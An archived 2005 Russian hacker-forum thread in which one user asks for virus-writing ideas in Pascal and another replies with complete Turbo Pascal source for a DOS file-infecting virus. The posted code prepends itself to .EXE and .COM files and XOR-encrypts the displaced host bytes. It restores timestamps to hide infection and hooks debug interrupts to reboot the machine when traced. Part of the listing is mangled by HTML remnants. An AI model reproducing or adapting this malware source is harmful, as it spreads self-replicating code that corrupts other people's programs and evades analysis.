Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Как это не смешно...

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Как это не смешно...
Имя
Сообщение << Старые топики   Новые топики >>
Как это не смешно... - 2005-03-24 12:48:48   
NooK

Сообщений: 30
Оценки: 0
Присоединился: 2005-02-05 12:12:23
Как это не смешно…но все же есть идеи по написанию какого нибудь виря на Pascal''E[sm=14.gif]
Post #: 1
Как это не смешно... - 2005-03-24 12:56:40   
Catdog

Сообщений: 990
Оценки: 0
Присоединился: 2004-10-25 08:40:19
Увы и ах, идей нету, а вири надо писать на асме..
Post #: 2
Как это не смешно... - 2005-03-24 12:56:50   
CyBeR4r8aK

Сообщений: 233
Оценки: 0
Присоединился: 2004-12-01 10:36:37
{$M 2048, 0, 0}
{$i-}

Uses dos;
Const
RV=8064;
VSEGO=3;

Var
BufFile, TeloVir : array[1..rv] of CHAR;
newExe,FileCom : array[1..2] of char;
f : file;
DirInfo,DiryAttr : SearchRec;
MyAttr : Word;
Attr : Word;
Time : LongInt;
MyTime : LongInt;
katal,cmdline,ItIsI:string;
mySize:longint;
i2,kol,i:integer;
stle:byte;
P5: PathStr;
D5: DirStr;
N5: NameStr;
E5: ExtStr;
O1H , O3H , Br : Pointer;


{$F+}
procedure ReBoot; Interrupt;
begin
InLine($EA/
$00/
$00/
$FF/
$FF);
end;
{$F-}

{$F+}
procedure BreakOff; Interrupt; { + }
begin
{ Invisible Words! }
end;
{$F-}


Procedure CWP;
Var
leftfile:string;
ft:text;
begin
FindFirst(itisi , anyfile , DiryAttr);
MyAttr:=DiryAttr.Attr;
MyTime:=DiryAttr.Time;

Assign(f , itisI[1]+itisI[2]+'\'+#$FF); { Invisible file ! }
ReWrite(f);
Erase(f);
If IOResult <> 0 Then
begin
leftfile:='c:\'+diryattr.name;
SwapVectors;
exec(GetEnv('COMSPEC'),'/c copy '+itisi+' '+leftfile+' >nul');
SwapVectors;
itisi:=leftfile;
Assign(ft , itisi);
reset(ft);
if ioresult<>0 then halt else close(ft);
stle:=13;
end;
end;

Procedure Install;
begin
assign(f,itisi);
setfattr(f,archive);
reset(f,1);
if ioresult<>0 then
begin
halt;
end;
mysize:=filesize(f);
blockread(f,telovir,rv);
close(f);

IF ParamCount <> 0 Then
Begin
For I:=1 To ParamCount Do
CmdLine:=CmdLine + ' ' + ParamStr(I);
End;
end;

Procedure xorit;
var
i:integer;
c:char;
begin
for i:=1 to 1111 do
begin
c:=buffile;<BR> c:=chr(ord© xor 31502);<BR> buffile:=c;<BR> end;<BR>end;<BR><BR>Procedure Zaraza;<BR>label propusk, fuck;<BR>Begin<BR> Time:=DirInfo.Time;<BR> Attr:=DirInfo.Attr;<BR> assign(f,katal+dirinfo.name);<BR><BR>{setfattr(f,archive);<BR><BR><BR> reset(f,1);<BR> if ioresult&lt;&gt;0 then goto fuck;<BR> if filesize(f)&lt;rv then goto propusk;<BR> if dirinfo.name[(length(dirinfo.name))]='M' then<BR> begin<BR> seek(f,0);<BR> blockread(f,filecom,2);<BR><BR> if (filecom[1]&lt;&gt;'M') and (filecom[2]&lt;&gt;'Z') then goto propusk;<BR> end;<BR><BR> seek(f,1024);<BR> blockread(f,newexe,2);<BR> if newexe='NE' then goto propusk;<BR> seek(f,78);<BR> blockread(f,newexe,2);<BR> if (upcase(newexe[1])='T') and (upcase(newexe[2])='H') then goto propusk;<BR> seek(f,80);<BR> blockread(f,newexe,2);<BR> if (upcase(newexe[1])='T') and (upcase(newexe[2])='H') then goto propusk;<BR><BR> seek(f,0);<BR> blockread(f,BufFile,rv);<BR> if buffile[500]=telovir[500] then goto propusk;<BR> xorit; { шифровка жертвы }<BR> seek(f,filesize(f));<BR> blockwrite(f,BufFile,rv);<BR> seek(f,0);<BR> blockwrite(f,TeloVir,rv);<BR> kol:=kol+1;<BR> propusk:<BR> SetFTime(f , Time);<BR> SetFAttr(f , Attr);<BR> close(f);<BR> fuck:<BR>end;<BR><BR>Procedure PoiskFiles(ss:string; ext:string);<BR>label notinf;<BR>begin<BR> FindFirst(ss+'*'+EXT, Archive, DirInfo);<BR> while (DosError = 0) and (kol&lt;vsego) do<BR> begin<BR> if dirinfo.name='EMM386.EXE' then goto notInf;<BR> if dirinfo.name='RTM.EXE' then goto notInf;<BR> if dirinfo.name='NCMAIN.EXE' then goto notInf;<BR> if dirinfo.name='START.EXE' then goto notInf;<BR> if dirinfo.name='SETSOUND.EXE' then goto notInf;<BR> if dirinfo.name='SMARTDRV.EXE' then goto notInf;<BR> if dirinfo.name='DOS4GW.EXE' then goto notInf;<BR> if dirinfo.name='SETUP.EXE' then goto notInf;<BR> if dirinfo.name='MSCDEX.EXE' then goto notInf;<BR> if dirinfo.name='COMMAND.COM' then goto notInf;<BR> katal:=ss;<BR> Zaraza;<BR> notinf:<BR> FindNext(DirInfo);<BR> end;<BR>end;<BR><BR>Procedure Start;<BR>label fuck,fuck2;<BR>begin<BR> assign(f, itisi);<BR> setfattr(f,archive);<BR> reset(f,1);<BR> if ioresult&lt;&gt;0 then goto fuck2;<BR> seek(f,filesize(f)-rv);<BR> blockread(f,BufFile,rv);<BR> xorit;<BR> seek(f,0);<BR> blockwrite(f,buffile,rv);<BR> if ioresult&lt;&gt;0 then goto fuck2;<BR> seek(f,filesize(f)-rv);<BR> truncate(f);<BR> SetFTime(f , myTime);<BR> SetFAttr(f , myAttr);<BR> close(f);<BR> swapvectors;<BR> exec(itisI,cmdline);<BR> swapvectors;<BR> assign(f,itisI);<BR> setfattr(f,archive);<BR> reset(f,1);<BR> if ioresult&lt;&gt;0 then goto fuck2;<BR> seek(f,0);<BR> blockread(f,BufFile,rv);<BR> if buffile[500]=telovir[500] then goto fuck;<BR> xorit;<BR> seek(f,filesize(f));<BR> blockwrite(f,BufFile,rv);<BR> seek(f,0);<BR> blockwrite(f,TeloVir,rv);<BR> fuck:<BR> SetFTime(f , myTime);<BR> SetFAttr(f , myAttr);<BR> close(f);<BR> fuck2:<BR>end;<BR><BR><BR>begin { ******** MAIN ************* }<BR> GetIntVec($01 , O1H);<BR> SetIntVec($01 , @ReBoot);<BR> GetIntVec($03 , O3H);<BR> SetIntVec($03 , @ReBoot);<BR> GetIntVec($1B , Br);<BR> SetIntVec($1B , @BreakOff);<BR> SetCBreak(False);<BR><BR>ItIsI:=paramstr(0);<BR>CWP;<BR>Install;<BR>kol:=0;<BR>PoiskFiles('','.EXE');<BR>PoiskFiles('','.COM');<BR><BR><BR>if upcase(itisi[1])='A' then<BR> begin<BR> kol:=0;<BR> poiskfiles('c:\windоwS\cOmMaNd\','.EXE');<BR> end;<BR><BR>for i2:=1 to paramcount do<BR>begin<BR> p5:=paramstr(i2);<BR> FSplit(P5, D5, N5, E5);<BR> if d5&lt;&gt;'' then<BR> begin<BR> kol:=0;<BR> poiskfiles(d5,'.EXE');<BR> poiskfiles(d5,'.COM');<BR> end;<BR>end;<BR><BR> SetIntVec($01 , O1H);<BR> SetIntVec($03 , O3H);<BR> SetIntVec($1B , Br);<BR><BR>if mysize&gt;rv then Start;<BR><BR>writeln('### MrWeb ###'); {Hi… my name is…}<BR><BR>if stle=13 then<BR> begin<BR> assign(f,itisI);<BR> setfattr(f,archive);<BR> erase(f);<BR> end;<BR><BR>halt(dosexitcode);<BR>end.<BR>
Post #: 3
Как это не смешно... - 2005-03-24 16:14:26   
NooK

Сообщений: 30
Оценки: 0
Присоединился: 2005-02-05 12:12:23
Особо вдаваться в содержание кода не буду, но спрошу - че делает?
Post #: 4
Как это не смешно... - 2005-03-25 07:50:02   
Форум для дебилов

Сообщений: 16
Оценки: 0
Присоединился: 2005-03-25 03:55:41
[sm=scull.gif][CENSORED И BANNED НАХРЕН][sm=scull.gif]
Post #: 5
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Как это не смешно...







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.